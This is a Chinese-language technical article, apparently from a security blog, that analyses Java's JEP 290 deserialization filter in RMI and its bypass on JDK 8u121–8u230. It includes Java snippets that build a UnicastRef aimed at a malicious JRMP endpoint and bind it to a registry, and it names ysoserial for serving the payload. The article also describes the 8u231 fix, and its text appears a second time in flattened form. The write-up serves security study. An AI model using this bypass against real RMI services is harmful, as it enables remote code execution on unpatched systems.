Java安全中JEP290在RMI的实现及绕过低版本JDK限制
字数 1751 2025-08-26 22:12:02

JEP 290在RMI中的实现及绕过分析

1. JEP 290概述

JEP 290是Java提供的一种反序列化过滤器机制,旨在防止恶意反序列化攻击。在RMI(远程方法调用)中,JEP 290通过白名单机制对反序列化的类进行过滤。

2. RMI中的JEP 290实现

2.1 过滤器的创建过程

  1. 创建Registry时调用LocateRegistry.createRegistry(1099)
  2. 返回RegistryImpl对象,其构造方法中:
    • 如果开启SecurityManager策略会进入特殊处理
    • 否则创建LiveRef对象(传入RegistryImpl的ObjID和端口号)
    • 创建UnicastServerRef对象,传入LiveRef和RegistryImpl::registryFilter

2.2 过滤器设置流程

  1. 调用RegistryImpl#setup方法设置
  2. UnicastServerRef对象存入RegistryImplref属性
  3. 调用UnicastServerRef#exportObject导出对象
  4. 封装为Target对象并调用LiveRef#exportObject导出
  5. 监听端口并将Target对象放入ObjectTable
  6. 导出内置方法(bind/rebind/list/lookup)

2.3 过滤器调用时机

  1. 方法调用时触发Transport#serviceCall
  2. 从输入流读取ObjID,获取对应Target对象
  3. 调用getDispatcher获取disp属性(即UnicastServerRef对象)
  4. 调用UnicastServerRef#dispatch进行分发
  5. 调用oldDispatch方法中的unmarshalCustomCallData
  6. 最终通过ObjectInputStream#setInternalObjectInputFilter设置过滤器

2.4 过滤器拦截机制

  1. RegistryImpl_Skel#dispatch方法中进行分发
  2. 根据方法调用进入不同case语句
  3. 在反序列化(readObject)时触发过滤器检查
  4. 调用链:
    registryFilter
    checkInput
    filterCheck
    readProxyDesc
    readClassDesc
    readOrdinaryObject
    readObject0
    readObject
    dispatch
    

3. 过滤器白名单内容

RMI内置的registryFilter检查以下类是否在白名单中:

  • String
  • Number
  • Remote
  • Proxy
  • UnicastRef

4. 低版本JDK(8u121-8u230)绕过分析

4.1 绕过原理

  1. 利用RMI的反序列化传递性
  2. 通过白名单中的Remote接口及其实现类RemoteObject
  3. RemoteObjectreadObject方法会反序列化UnicastRef对象
  4. 控制UnicastRef指向恶意JRMP服务
  5. 触发二次连接时无过滤器保护

4.2 关键利用点

  1. RemoteObject抽象类的readObject方法:

    • 从流中读取UnicastRef对象
    • 调用readExternal方法
    • 最终读取并保存LiveRef对象
  2. DGCClient.registerRefs机制:

    • 通过incomingRefTable注册引用
    • 对每个Endpoint发起连接
    • 如果控制Endpoint可连接任意服务

4.3 利用构造方法

  1. 构造恶意UnicastRef

    ObjID id = new ObjID(new Random().nextInt());
    TCPEndpoint te = new TCPEndpoint("localhost", 9999);
    UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
    
  2. 使用RemoteObjectInvocationHandler封装:

    RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref);
    
  3. 通过动态代理创建Remote对象:

    Remote remote = (Remote) Proxy.newProxyInstance(
        ClassLoader.getSystemClassLoader(),
        new Class[]{Remote.class},
        handler);
    
  4. 绑定到Registry:

    Registry registry = LocateRegistry.getRegistry("localhost", 1099);
    registry.rebind("test", remote);
    

4.4 恶意JRMP服务

可以使用ysoserial等工具搭建恶意JRMP服务,在二次连接时发送恶意序列化数据。

5. 修复方案

在JDK 8u231及以上版本中:

  1. DGCImpl_Stub#dirty方法增加了setObjectInputFilter调用
  2. 对二次连接的反序列化也进行了过滤
  3. 彻底堵住了通过DGC机制绕过的途径

6. 总结

JEP 290在RMI中的实现是局部过滤机制,低版本JDK中可以通过精心构造的RemoteObject对象触发二次连接来绕过。理解这一机制对于Java反序列化安全研究和防护具有重要意义。

JEP 290在RMI中的实现及绕过分析 1. JEP 290概述 JEP 290是Java提供的一种反序列化过滤器机制,旨在防止恶意反序列化攻击。在RMI(远程方法调用)中,JEP 290通过白名单机制对反序列化的类进行过滤。 2. RMI中的JEP 290实现 2.1 过滤器的创建过程 创建Registry时调用 LocateRegistry.createRegistry(1099) 返回 RegistryImpl 对象,其构造方法中: 如果开启SecurityManager策略会进入特殊处理 否则创建 LiveRef 对象(传入RegistryImpl的ObjID和端口号) 创建 UnicastServerRef 对象,传入LiveRef和 RegistryImpl::registryFilter 2.2 过滤器设置流程 调用 RegistryImpl#setup 方法设置 将 UnicastServerRef 对象存入 RegistryImpl 的 ref 属性 调用 UnicastServerRef#exportObject 导出对象 封装为 Target 对象并调用 LiveRef#exportObject 导出 监听端口并将 Target 对象放入 ObjectTable 导出内置方法(bind/rebind/list/lookup) 2.3 过滤器调用时机 方法调用时触发 Transport#serviceCall 从输入流读取ObjID,获取对应Target对象 调用 getDispatcher 获取 disp 属性(即 UnicastServerRef 对象) 调用 UnicastServerRef#dispatch 进行分发 调用 oldDispatch 方法中的 unmarshalCustomCallData 最终通过 ObjectInputStream#setInternalObjectInputFilter 设置过滤器 2.4 过滤器拦截机制 在 RegistryImpl_Skel#dispatch 方法中进行分发 根据方法调用进入不同case语句 在反序列化( readObject )时触发过滤器检查 调用链: 3. 过滤器白名单内容 RMI内置的 registryFilter 检查以下类是否在白名单中: String Number Remote Proxy UnicastRef 4. 低版本JDK(8u121-8u230)绕过分析 4.1 绕过原理 利用RMI的反序列化传递性 通过白名单中的 Remote 接口及其实现类 RemoteObject RemoteObject 的 readObject 方法会反序列化 UnicastRef 对象 控制 UnicastRef 指向恶意JRMP服务 触发二次连接时无过滤器保护 4.2 关键利用点 RemoteObject 抽象类的 readObject 方法: 从流中读取 UnicastRef 对象 调用 readExternal 方法 最终读取并保存 LiveRef 对象 DGCClient.registerRefs 机制: 通过 incomingRefTable 注册引用 对每个Endpoint发起连接 如果控制Endpoint可连接任意服务 4.3 利用构造方法 构造恶意 UnicastRef : 使用 RemoteObjectInvocationHandler 封装: 通过动态代理创建Remote对象: 绑定到Registry: 4.4 恶意JRMP服务 可以使用ysoserial等工具搭建恶意JRMP服务,在二次连接时发送恶意序列化数据。 5. 修复方案 在JDK 8u231及以上版本中: DGCImpl_Stub#dirty 方法增加了 setObjectInputFilter 调用 对二次连接的反序列化也进行了过滤 彻底堵住了通过DGC机制绕过的途径 6. 总结 JEP 290在RMI中的实现是局部过滤机制,低版本JDK中可以通过精心构造的 RemoteObject 对象触发二次连接来绕过。理解这一机制对于Java反序列化安全研究和防护具有重要意义。